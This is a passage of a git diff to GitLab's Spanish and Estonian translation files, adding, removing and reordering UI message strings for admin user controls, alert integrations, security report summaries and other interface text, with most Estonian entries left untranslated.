msgstr "ayuda"
@@ -31682,8 +32395,8 @@ msgstr "tokens de suplantación"
msgid "import flow"
msgstr "flujo de importación"
-msgid "importing"
-msgstr "importando"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr "en el grupo %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr "nadie puede hacer merge"
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "ninguno"
@@ -32238,6 +32954,9 @@ msgstr "a tiempo"
msgid "open issue"
msgstr "incidencia abierta"
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr "abierto el %{timeAgoString} por %{user}"
@@ -32250,6 +32969,9 @@ msgstr "abierto %{timeAgo}"
msgid "or"
msgstr "o"
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "total de %d prueba"
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr "proyectos"
@@ -32380,6 +33105,9 @@ msgstr "satisfecho"
msgid "security Reports|There was an error creating the merge request"
msgstr "Se ha producido un error al crear el merge request"
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "Crítica"
@@ -32392,9 +33120,15 @@ msgstr "Info"
msgid "severity|Low"
msgstr "Baja"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "Media"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr "Ninguna"
@@ -32443,9 +33177,6 @@ msgstr "%{slash_command} actualizará la suma del tiempo empleado."
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr "iniciado"
-
msgid "started a discussion on %{design_link}"
msgstr "inició una discusión en %{design_link}"
@@ -32476,11 +33207,11 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
-msgstr "la sintaxis es correcta"
+msgid "syntax is correct."
+msgstr ""
-msgid "syntax is incorrect"
-msgstr "la sintaxis es incorrecta"
+msgid "syntax is incorrect."
+msgstr ""
msgid "tag name"
msgstr "nombre de la etiqueta"
@@ -32488,6 +33219,9 @@ msgstr "nombre de la etiqueta"
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr "la siguiente incidencia(s)"
@@ -32497,6 +33231,9 @@ msgstr "este documento"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "¡Para ayudar a sus colaboradores a comunicarse de manera efectiva!"
@@ -32569,6 +33306,11 @@ msgstr "ver el blob"
msgid "view the source"
msgstr "ver el código fuente"
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr "Añadir un comentario"
diff --git a/locale/et_EE/gitlab.po b/locale/et_EE/gitlab.po
index 9251ee52619..86be48e5144 100644
--- a/locale/et_EE/gitlab.po
+++ b/locale/et_EE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: et\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:41\n"
+"PO-Revision-Date: 2020-12-03 08:10\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
